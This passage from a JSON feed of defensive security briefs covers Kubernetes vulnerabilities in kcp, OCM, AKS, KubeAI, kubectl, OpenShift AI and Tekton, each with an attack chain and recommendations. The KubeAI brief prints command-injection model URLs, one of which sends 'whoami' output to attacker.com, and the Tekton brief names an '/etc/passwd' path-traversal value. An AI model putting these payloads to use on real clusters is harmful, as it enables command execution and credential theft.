quickly cleaned up, a brief race condition allows for temporary privilege escalation. This affects kcp deployments where the root shard is network-reachable by untrusted clients, including Helm chart deployments, Operator deployments with external URLs set, and deployments with a reachable \u0026ndash;shard-external-url.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImplement network-level access control to restrict access to the \u003ccode\u003e/services/cache/*\u003c/code\u003e paths at the load balancer, reverse proxy, or firewall level as described in the \u003cstrong\u003eWorkarounds\u003c/strong\u003e section of the advisory.\u003c/li\u003e\n\u003cli\u003eDeploy the cache server separately with its own kubeconfig (\u003ccode\u003e--cache-server-kubeconfig\u003c/code\u003e) and restrict network access to it, mitigating direct exposure to the root shard as per the \u003cstrong\u003eWorkarounds\u003c/strong\u003e section.\u003c/li\u003e\n\u003cli\u003eUpgrade to kcp version v0.29.3 or v0.30.3 or later to patch the vulnerability as per \u003cstrong\u003eCVE-2026-39429\u003c/strong\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-08T15:04:22Z","date_published":"2026-04-08T15:04:22Z","id":"/briefs/2026-04-kcp-cache-unauth/","summary":"The kcp cache server is exposed without authentication, allowing unauthorized read access to sensitive data and a race condition for write access that could lead to temporary privilege escalation.","title":"Unauthenticated Access to kcp Cache Server","url":"https://feed.craftedsignal.io/briefs/2026-04-kcp-cache-unauth/"},{"_cs_actors":[],"_cs_cves":[{"cvss":8.2,"id":"CVE-2026-4740"}],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["critical"],"_cs_tags":["kubernetes","privilege-escalation","cve-2026-4740","ocm","acm"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eA critical vulnerability, CVE-2026-4740, exists within Red Hat Advanced Cluster Management (ACM), which utilizes Open Cluster Management (OCM) technology. This flaw stems from the improper validation of Kubernetes client certificate renewal requests. A malicious managed cluster administrator can exploit this vulnerability to forge a client certificate. This forged certificate, if approved by the OCM controller, grants the attacker elevated privileges across different clusters. The successful exploitation of this vulnerability can lead to an attacker gaining complete control over other managed clusters and potentially the central hub cluster, posing a significant threat to the entire ACM environment. This vulnerability impacts any environment utilizing Red Hat Advanced Cluster Management.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eA managed cluster administrator gains initial access to a managed Kubernetes cluster within the ACM environment.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious Kubernetes client certificate renewal request, exploiting the lack of proper validation in OCM.\u003c/li\u003e\n\u003cli\u003eThe forged certificate request is submitted to the OCM controller for approval.\u003c/li\u003e\n\u003cli\u003eDue to insufficient validation, the OCM controller approves the forged client certificate.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the approved, forged certificate to authenticate to other managed clusters.\u003c/li\u003e\n\u003cli\u003eUsing the forged certificate, the attacker escalates privileges within the targeted managed clusters.\u003c/li\u003e\n\u003cli\u003eThe attacker leverages escalated privileges to move laterally across the cluster.\u003c/li\u003e\n\u003cli\u003eThe attacker gains control of the targeted managed clusters, potentially including the central hub cluster, allowing for data exfiltration, service disruption, or other malicious activities.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of CVE-2026-4740 can lead to complete compromise of the Red Hat Advanced Cluster Management environment. A malicious managed cluster administrator can leverage this vulnerability to gain control over other managed clusters, including the hub cluster. This allows for unauthorized access to sensitive data, disruption of critical services, and potential deployment of malicious workloads across the compromised clusters. The vulnerability has a CVSS v3.1 score of 8.2, indicating a high severity. The number of potential victims depends on the scope of ACM deployments.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eApply the patch or upgrade to a version of Red Hat Advanced Cluster Management (ACM) that addresses CVE-2026-4740 to remediate the improper certificate validation.\u003c/li\u003e\n\u003cli\u003eImplement stricter validation policies for Kubernetes client certificate renewal requests within your OCM environment to prevent the forging of certificates.\u003c/li\u003e\n\u003cli\u003eMonitor Kubernetes API server logs for suspicious certificate creation or approval activities, using the \u003ccode\u003etitle: \u0026quot;Detect Suspicious Kubernetes Certificate Creation\u0026quot;\u003c/code\u003e Sigma rule provided below.\u003c/li\u003e\n\u003cli\u003eImplement Role-Based Access Control (RBAC) policies within your Kubernetes clusters to limit the privileges of managed cluster administrators and mitigate the impact of potential privilege escalation.\u003c/li\u003e\n\u003cli\u003eMonitor the OCM controller logs for certificate-related events as they relate to CVE-2026-4740.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-07T15:17:46Z","date_published":"2026-04-07T15:17:46Z","id":"/briefs/2026-04-ocm-privesc/","summary":"CVE-2026-4740 describes a vulnerability in Red Hat Open Cluster Management (OCM) where improper validation of Kubernetes client certificate renewal allows a managed cluster administrator to forge certificates, enabling cross-cluster privilege escalation.","title":"Red Hat Open Cluster Management (OCM) Cross-Cluster Privilege Escalation via Forged Certificates (CVE-2026-4740)","url":"https://feed.craftedsignal.io/briefs/2026-04-ocm-privesc/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["low"],"_cs_tags":["kubernetes","credential-access","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThis detection rule identifies instances where Kubernetes secrets are accessed through atypical means, specifically flagging requests originating from unusual user agents, usernames, or source IPs. The underlying assumption is that after compromising a pod or stealing a kubeconfig file, adversaries often attempt to harvest sensitive information stored as secrets within the Kubernetes cluster. This includes service account tokens, registry credentials, cloud keys, and other critical data. This activity can lead to privilege escalation and lateral movement within the cluster or the wider cloud environment. The rule focuses on identifying deviations from established access patterns to Kubernetes secrets to detect potentially malicious activity. The rule leverages data from kubernetes.audit_logs.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eInitial Compromise:\u003c/strong\u003e An attacker gains initial access to the Kubernetes cluster, potentially by exploiting a vulnerability in a pod or by stealing a kubeconfig file.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDiscovery:\u003c/strong\u003e The attacker enumerates available resources within the cluster to identify potential targets, including secrets. This might involve using \u003ccode\u003ekubectl get secrets --all-namespaces\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCredential Theft:\u003c/strong\u003e The attacker attempts to access Kubernetes secrets using an unusual user agent, source IP, or user name. For example, using \u003ccode\u003ecurl\u003c/code\u003e from a compromised pod to access the Kubernetes API.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eData Exfiltration:\u003c/strong\u003e The attacker retrieves the contents of the secrets. Secrets might contain service account tokens, registry credentials, cloud IAM keys, database passwords, etc.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLateral Movement:\u003c/strong\u003e With stolen credentials, the attacker attempts to move laterally within the cluster or the connected cloud environment. They might use the credentials to access other pods, services, or cloud resources.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePrivilege Escalation:\u003c/strong\u003e The attacker uses the stolen credentials to escalate their privileges within the Kubernetes cluster or the cloud environment. For example, creating new roles or role bindings.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePersistence:\u003c/strong\u003e The attacker establishes persistence by creating backdoors or modifying existing deployments. This might involve creating new pods or modifying existing deployments.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eImpact:\u003c/strong\u003e The attacker achieves their objective, such as data theft, denial of service, or infrastructure compromise.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation can lead to the compromise of sensitive data stored within Kubernetes secrets. This could include database credentials, API keys, and service account tokens. The impact can range from unauthorized access to sensitive data, to complete compromise of the Kubernetes cluster and the connected cloud environment. This can affect any organization using Kubernetes to manage their applications, potentially leading to data breaches, service disruptions, and financial losses. The severity depends on the sensitivity of the data stored in the compromised secrets and the level of access the attacker gains.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u003ccode\u003eKubernetes Secret Access via Unusual User Agent\u003c/code\u003e to your SIEM and tune for your environment to detect unusual access patterns to Kubernetes secrets.\u003c/li\u003e\n\u003cli\u003eInvestigate and validate any alerts generated by the deployed Sigma rule, focusing on the requesting identity, source IP, and user agent to confirm whether they align with approved access records.\u003c/li\u003e\n\u003cli\u003eImplement RBAC least privilege to limit access to secrets to only the required service accounts and users to minimize the potential impact of credential theft.\u003c/li\u003e\n\u003cli\u003eMonitor Kubernetes audit logs (\u003ccode\u003elogs-kubernetes.audit_logs-*\u003c/code\u003e) for suspicious activity, including unusual API calls and access patterns to sensitive resources.\u003c/li\u003e\n\u003cli\u003eRegularly rotate secrets and credentials to minimize the window of opportunity for attackers to use stolen credentials.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-06T12:05:33Z","date_published":"2026-04-06T12:05:33Z","id":"/briefs/2024-01-09-kubernetes-secret-access/","summary":"Detects unusual access to Kubernetes secrets, potentially indicating an attacker attempting to steal sensitive information after gaining initial access to the cluster.","title":"Kubernetes Secret Access via Unusual User Agent","url":"https://feed.craftedsignal.io/briefs/2024-01-09-kubernetes-secret-access/"},{"_cs_actors":[],"_cs_cves":[{"cvss":10,"id":"CVE-2026-33105"}],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["critical"],"_cs_tags":["azure","kubernetes","privilege-escalation"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eCVE-2026-33105, discovered in April 2026, is a critical vulnerability affecting Microsoft Azure Kubernetes Service (AKS). This vulnerability stems from an improper authorization mechanism, allowing an unauthorized attacker to elevate privileges within the network. With a CVSS v3.1 score of 10.0, this flaw represents a severe risk. Successful exploitation could grant attackers complete control over the AKS cluster, potentially impacting all workloads and data managed by the service. Given the widespread adoption of AKS for container orchestration, this vulnerability poses a significant threat to organizations relying on Azure\u0026rsquo;s Kubernetes infrastructure. Defenders should prioritize patching and implement detection measures to mitigate potential exploitation.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn unauthenticated attacker gains initial access to the network where the AKS cluster is deployed.\u003c/li\u003e\n\u003cli\u003eThe attacker exploits the improper authorization vulnerability (CVE-2026-33105) within the AKS control plane.\u003c/li\u003e\n\u003cli\u003eUsing the vulnerability, the attacker bypasses intended access controls.\u003c/li\u003e\n\u003cli\u003eThe attacker escalates privileges, gaining administrative rights within the AKS cluster.\u003c/li\u003e\n\u003cli\u003eThe attacker leverages the elevated privileges to access sensitive resources, such as Kubernetes secrets and configuration files.\u003c/li\u003e\n\u003cli\u003eThe attacker deploys malicious containers or modifies existing deployments to further compromise the environment.\u003c/li\u003e\n\u003cli\u003eThe attacker gains control over the worker nodes in the AKS cluster.\u003c/li\u003e\n\u003cli\u003eThe attacker uses compromised worker nodes to move laterally within the network, potentially targeting other Azure services or on-premises resources.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of CVE-2026-33105 allows an attacker to gain full control over an Azure Kubernetes Service cluster. This includes the ability to deploy, modify, and delete workloads, access sensitive data, and potentially pivot to other Azure resources or on-premises networks. Given the critical nature of many applications hosted on Kubernetes, this could lead to significant data breaches, service disruptions, and financial losses. The lack of specific victim numbers makes it impossible to assess the scale of damage, however any unpatched AKS cluster is potentially at risk.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eApply the patch released by Microsoft to address CVE-2026-33105 on all AKS clusters immediately (\u003ca href=\"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33105)\"\u003ehttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33105)\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eImplement network segmentation to limit the blast radius of a potential compromise.\u003c/li\u003e\n\u003cli\u003eMonitor AKS audit logs for suspicious activity indicative of privilege escalation attempts.\u003c/li\u003e\n\u003cli\u003eDeploy the following Sigma rule to detect suspicious processes connecting to the Kubernetes API server, and tune it for your environment.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-03T00:16:05Z","date_published":"2026-04-03T00:16:05Z","id":"/briefs/2026-04-azure-kubernetes-privesc/","summary":"CVE-2026-33105 is a critical vulnerability in Microsoft Azure Kubernetes Service that allows an unauthorized attacker to elevate privileges over a network due to improper authorization.","title":"CVE-2026-33105 - Microsoft Azure Kubernetes Service Privilege Escalation","url":"https://feed.craftedsignal.io/briefs/2026-04-azure-kubernetes-privesc/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["kubeai","command-injection","kubernetes","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eKubeAI versions 0.23.1 and earlier are vulnerable to an OS command injection flaw in the Ollama engine\u0026rsquo;s startup probe. The vulnerability stems from the \u003ccode\u003eollamaStartupProbeScript()\u003c/code\u003e function, which constructs a shell command using \u003ccode\u003efmt.Sprintf\u003c/code\u003e with unsanitized model URL components (\u003ccode\u003eref\u003c/code\u003e and \u003ccode\u003emodelParam\u003c/code\u003e). These components are extracted from the Model custom resource URL. An attacker who can create or update \u003ccode\u003eModel\u003c/code\u003e custom resources can inject arbitrary shell commands, which are then executed within the model server pods. This occurs because the extracted URL components are not sanitized before being interpolated into a shell command executed by \u003ccode\u003ebash -c\u003c/code\u003e. Successful exploitation allows attackers to compromise the model serving infrastructure and potentially access sensitive information or execute commands on the underlying host.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains the ability to create or update \u003ccode\u003eModel\u003c/code\u003e custom resources in a KubeAI environment. This could be through compromised credentials, misconfigured RBAC permissions, or other vulnerabilities.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious \u003ccode\u003eModel\u003c/code\u003e custom resource with a specially crafted URL in the \u003ccode\u003espec.url\u003c/code\u003e field. The URL contains shell metacharacters and commands within the \u003ccode\u003eref\u003c/code\u003e component or the \u003ccode\u003emodel\u003c/code\u003e query parameter. For example, \u003ccode\u003eollama://registry.example.com/model;id\u0026gt;/tmp/pwned;echo\u003c/code\u003e or \u003ccode\u003epvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker applies the malicious \u003ccode\u003eModel\u003c/code\u003e resource to the Kubernetes cluster, triggering the KubeAI model controller.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003eparseModelURL()\u003c/code\u003e function parses the malicious URL and extracts the unsanitized \u003ccode\u003eref\u003c/code\u003e and \u003ccode\u003emodelParam\u003c/code\u003e components.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003eollamaStartupProbeScript()\u003c/code\u003e function constructs a shell command string using \u003ccode\u003efmt.Sprintf\u003c/code\u003e with the unsanitized \u003ccode\u003eref\u003c/code\u003e and \u003ccode\u003emodelParam\u003c/code\u003e components. The resulting command is intended to pull or copy the specified model.\u003c/li\u003e\n\u003cli\u003eThe KubeAI model controller creates a pod for the model server, configuring a startup probe that executes the crafted shell command via \u003ccode\u003ebash -c\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe Kubernetes kubelet executes the startup probe, running the attacker-injected shell commands within the pod\u0026rsquo;s context.\u003c/li\u003e\n\u003cli\u003eThe attacker achieves arbitrary command execution inside the model server pod, potentially leading to data exfiltration, lateral movement, or compromise of the model serving infrastructure.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this vulnerability allows for arbitrary command execution within KubeAI model server pods. This can lead to several severe consequences: data exfiltration from the pod\u0026rsquo;s environment (environment variables, mounted secrets, service account tokens), lateral movement to other cluster resources in multi-tenant environments, and compromise of the model serving infrastructure. An attacker with Model creation permissions can execute arbitrary commands in model pods, potentially accessing sensitive data. The vulnerability affects KubeAI installations version 0.23.1 and earlier.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade KubeAI to a version beyond 0.23.1 that includes the fix for CVE-2026-34940.\u003c/li\u003e\n\u003cli\u003eImplement strict RBAC policies to limit who can create or update \u003ccode\u003eModel\u003c/code\u003e custom resources.\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;Detect KubeAI Model Resource Command Injection\u0026rdquo; to identify malicious \u003ccode\u003eModel\u003c/code\u003e resources being created or updated.\u003c/li\u003e\n\u003cli\u003eMonitor Kubernetes audit logs for suspicious activity related to \u003ccode\u003eModel\u003c/code\u003e custom resource creation and updates.\u003c/li\u003e\n\u003cli\u003eIf upgrading is not immediately feasible, consider implementing a Kubernetes admission webhook that validates and sanitizes the \u003ccode\u003espec.url\u003c/code\u003e field of \u003ccode\u003eModel\u003c/code\u003e custom resources, allowing only alphanumeric characters, slashes, colons, dots, and hyphens.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-01T23:22:43Z","date_published":"2026-04-01T23:22:43Z","id":"/briefs/2026-04-kubeai-command-injection/","summary":"The KubeAI project is vulnerable to OS command injection because the `ollamaStartupProbeScript()` function constructs a shell command string using `fmt.Sprintf` with unsanitized model URL components (`ref`, `modelParam`), which is then executed via `bash -c` as a Kubernetes startup probe, allowing arbitrary command execution inside model server pods by attackers with the ability to create or update `Model` custom resources.","title":"KubeAI OS Command Injection via Model URL in Ollama Engine Startup Probe","url":"https://feed.craftedsignal.io/briefs/2026-04-kubeai-command-injection/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["low"],"_cs_tags":["kubectl","kubernetes","command_and_control","network_configuration","linux","macos"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThis detection rule identifies potential malicious activity involving the \u003ccode\u003ekubectl\u003c/code\u003e command-line tool, specifically focusing on modifications to network configurations within Kubernetes environments. The rule monitors for \u003ccode\u003ekubectl\u003c/code\u003e commands executed with arguments like \u0026ldquo;port-forward\u0026rdquo;, \u0026ldquo;proxy\u0026rdquo;, or \u0026ldquo;expose,\u0026rdquo; which can be used to manipulate network settings. The activity is considered suspicious when initiated from atypical parent processes or directories, such as temporary folders or user home directories. This behavior might indicate an adversary attempting to establish unauthorized access channels or exfiltrate sensitive data. The rule is designed to work with endpoint detection and response (EDR) solutions like Elastic Defend, Crowdstrike, SentinelOne, and cloud workload protection platforms. The rule was last updated on March 30, 2026, and is intended for use in production environments.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains initial access to a system with \u003ccode\u003ekubectl\u003c/code\u003e installed and configured to interact with a Kubernetes cluster.\u003c/li\u003e\n\u003cli\u003eThe attacker executes the \u003ccode\u003ekubectl\u003c/code\u003e command with arguments like \u003ccode\u003eport-forward\u003c/code\u003e to create a local port that forwards traffic to a service or pod within the cluster.\u003c/li\u003e\n\u003cli\u003eThe attacker uses \u003ccode\u003ekubectl proxy\u003c/code\u003e to create a proxy server that allows them to access the Kubernetes API server from their local machine.\u003c/li\u003e\n\u003cli\u003eThe attacker employs \u003ccode\u003ekubectl expose\u003c/code\u003e to create a new service that exposes a deployment, replication controller, or pod as a new Kubernetes service, potentially opening up unintended access points.\u003c/li\u003e\n\u003cli\u003eThe attacker may execute these commands from a shell like \u003ccode\u003ebash\u003c/code\u003e, or from a script located in a temporary directory like \u003ccode\u003e/tmp/\u003c/code\u003e or \u003ccode\u003e/var/tmp/\u003c/code\u003e, to evade detection.\u003c/li\u003e\n\u003cli\u003eThe attacker leverages the modified network configurations to establish unauthorized access to sensitive services or data within the Kubernetes cluster.\u003c/li\u003e\n\u003cli\u003eThe attacker may use the proxied or forwarded connections to exfiltrate data from the cluster to an external location.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation via \u003ccode\u003ekubectl\u003c/code\u003e network configuration modification can lead to unauthorized access to sensitive data and services within a Kubernetes cluster. This can result in data breaches, service disruptions, and lateral movement within the cluster. The low severity score suggests that while the risk exists, the impact might be limited if proper Kubernetes security best practices are followed. The rule aims to detect these actions early, preventing potential damage to the cluster.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eEnable Elastic Defend integration or equivalent EDR solutions to monitor process execution and network connections (\u003ccode\u003eData Source: Elastic Defend\u003c/code\u003e, \u003ccode\u003eData Source: Crowdstrike\u003c/code\u003e, \u003ccode\u003eData Source: SentinelOne\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eDeploy the provided Sigma rule to detect suspicious \u003ccode\u003ekubectl\u003c/code\u003e commands with network-related arguments (\u003ccode\u003erules\u003c/code\u003e section). Tune the rule based on your environment to minimize false positives.\u003c/li\u003e\n\u003cli\u003eInvestigate any alerts generated by the Sigma rule, focusing on the parent process and the command-line arguments of the \u003ccode\u003ekubectl\u003c/code\u003e command (\u003ccode\u003erules\u003c/code\u003e section, \u003ccode\u003eResources: Investigation Guide\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eImplement enhanced monitoring and logging for \u003ccode\u003ekubectl\u003c/code\u003e activities and network configuration changes within the Kubernetes cluster to proactively detect and respond to similar threats in the future (\u003ccode\u003eResources: Investigation Guide\u003c/code\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-01T14:16:09Z","date_published":"2026-04-01T14:16:09Z","id":"/briefs/2026-05-kubectl-network-modification/","summary":"This rule detects potential kubectl network configuration modification activity by monitoring for process events where the kubectl command is executed with arguments that suggest an attempt to modify network configurations in Kubernetes, potentially leading to unauthorized access or data exfiltration.","title":"Kubectl Network Configuration Modification","url":"https://feed.craftedsignal.io/briefs/2026-05-kubectl-network-modification/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["openshift","kubernetes","networkpolicy","unauthorized-access"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eA vulnerability, CVE-2025-12805, has been identified in Red Hat OpenShift AI (RHOAI) llama-stack-operator. The vulnerability stems from the lack of NetworkPolicy restrictions on the llama-stack service endpoint. This allows a user within one namespace to bypass intended isolation and directly access Llama Stack services deployed in other namespaces. The vulnerability was published on March 26, 2026. Successful exploitation could lead to unauthorized data access and manipulation, impacting the…\u003c/p\u003e\n","date_modified":"2026-03-27T10:00:00Z","date_published":"2026-03-27T10:00:00Z","id":"/briefs/2026-03-openshift-ai-vuln/","summary":"CVE-2025-12805 describes a flaw in Red Hat OpenShift AI (RHOAI) llama-stack-operator that allows unauthorized access to Llama Stack services in other namespaces via direct network requests due to missing NetworkPolicy restrictions, potentially enabling attackers to view or manipulate sensitive data.","title":"Red Hat OpenShift AI Llama Stack Unauthorized Access Vulnerability (CVE-2025-12805)","url":"https://feed.craftedsignal.io/briefs/2026-03-openshift-ai-vuln/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["kubernetes","privilege-escalation","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eA vulnerability exists within the RedHat Multicluster Engine for Kubernetes that allows a local attacker to escalate their privileges. The specific details of the vulnerability are not disclosed in this advisory, but successful exploitation would grant the attacker elevated permissions within the Kubernetes environment. This issue affects deployments of RedHat Multicluster Engine, potentially impacting the security and integrity of containerized applications and the underlying infrastructure. Defenders should investigate and apply the appropriate patches or mitigations as soon as they become available.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eThe attacker gains initial local access to a system running RedHat Multicluster Engine for Kubernetes, possibly through compromised credentials or an existing vulnerability.\u003c/li\u003e\n\u003cli\u003eThe attacker identifies the specific vulnerable component within the RedHat Multicluster Engine.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious payload designed to exploit the vulnerability.\u003c/li\u003e\n\u003cli\u003eThe attacker executes the payload locally on the compromised system, targeting the vulnerable component.\u003c/li\u003e\n\u003cli\u003eSuccessful exploitation grants the attacker elevated privileges within the Kubernetes environment.\u003c/li\u003e\n\u003cli\u003eThe attacker leverages the escalated privileges to access sensitive resources or perform unauthorized actions within the Kubernetes cluster.\u003c/li\u003e\n\u003cli\u003eThe attacker may attempt to further compromise other nodes or services within the cluster.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this vulnerability allows a local attacker to escalate their privileges within a RedHat Multicluster Engine for Kubernetes environment. This can lead to unauthorized access to sensitive data, compromise of containerized applications, and potential disruption of services. The impact could range from data breaches to complete cluster takeover, depending on the scope of the attacker\u0026rsquo;s activities after privilege escalation.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMonitor process creation events for suspicious activity within the Kubernetes environment that may indicate exploitation attempts (see generic process creation rules).\u003c/li\u003e\n\u003cli\u003eInvestigate any unexpected privilege escalations or changes in user permissions within the RedHat Multicluster Engine environment.\u003c/li\u003e\n\u003cli\u003eAs details emerge, deploy specific detection rules to identify exploitation of the RedHat Multicluster Engine vulnerability within your environment.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-03-25T10:22:04Z","date_published":"2026-03-25T10:22:04Z","id":"/briefs/2024-07-redhat-privesc/","summary":"A local attacker can exploit a vulnerability in RedHat Multicluster Engine for Kubernetes to escalate privileges.","title":"RedHat Multicluster Engine for Kubernetes Privilege Escalation Vulnerability","url":"https://feed.craftedsignal.io/briefs/2024-07-redhat-privesc/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["critical"],"_cs_tags":["tekton","path-traversal","kubernetes","cve-2026-33211","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThe Tekton Pipelines project provides Kubernetes-style resources for declaring CI/CD pipelines. A path traversal vulnerability exists in the git resolver component, tracked as CVE-2026-33211. This vulnerability affects Tekton Pipelines versions 1.0.0 and prior to 1.0.1, 1.3.3, 1.6.1, 1.9.2, and 1.10.2. An attacker with the ability to create \u003ccode\u003eResolutionRequests\u003c/code\u003e (e.g., through \u003ccode\u003eTaskRuns\u003c/code\u003e or \u003ccode\u003ePipelineRuns\u003c/code\u003e that utilize the git resolver) can exploit this flaw to read any file from the resolver pod\u0026rsquo;s file system. A successful exploit allows attackers to retrieve sensitive information, such as ServiceAccount tokens, which are base64-encoded and returned in \u003ccode\u003eresolutionrequest.status.data\u003c/code\u003e. The vulnerability has been patched in versions 1.0.1, 1.3.3, 1.6.1, 1.9.2, and 1.10.2. This poses a significant risk in multi-tenant environments where lateral movement and privilege escalation are possible.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains the ability to create \u003ccode\u003eTaskRuns\u003c/code\u003e or \u003ccode\u003ePipelineRuns\u003c/code\u003e within a Tekton Pipelines environment.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious \u003ccode\u003eResolutionRequest\u003c/code\u003e that leverages the git resolver.\u003c/li\u003e\n\u003cli\u003eWithin the \u003ccode\u003eResolutionRequest\u003c/code\u003e, the attacker injects a path traversal sequence into the \u003ccode\u003epathInRepo\u003c/code\u003e parameter, such as \u0026ldquo;../../../../etc/passwd\u0026rdquo;.\u003c/li\u003e\n\u003cli\u003eThe git resolver attempts to resolve the resource using the provided path.\u003c/li\u003e\n\u003cli\u003eDue to the path traversal vulnerability, the resolver accesses the file specified by the attacker on the resolver pod\u0026rsquo;s file system.\u003c/li\u003e\n\u003cli\u003eThe contents of the accessed file are read by the resolver.\u003c/li\u003e\n\u003cli\u003eThe resolver encodes the file content in base64.\u003c/li\u003e\n\u003cli\u003eThe base64-encoded content is returned in the \u003ccode\u003eresolutionrequest.status.data\u003c/code\u003e field, allowing the attacker to retrieve the content. This can include sensitive files such as ServiceAccount tokens.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of CVE-2026-33211 allows attackers to read arbitrary files from the Tekton Pipelines resolver pod. This can lead to the compromise of sensitive information, including ServiceAccount tokens. If ServiceAccount tokens are compromised, attackers can potentially gain unauthorized access to Kubernetes resources, leading to privilege escalation, lateral movement within the cluster, and potential data exfiltration. The impact is especially high in multi-tenant environments.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade Tekton Pipelines to versions 1.0.1, 1.3.3, 1.6.1, 1.9.2, or 1.10.2 or later to patch CVE-2026-33211.\u003c/li\u003e\n\u003cli\u003eImplement strict RBAC policies to limit the ability to create 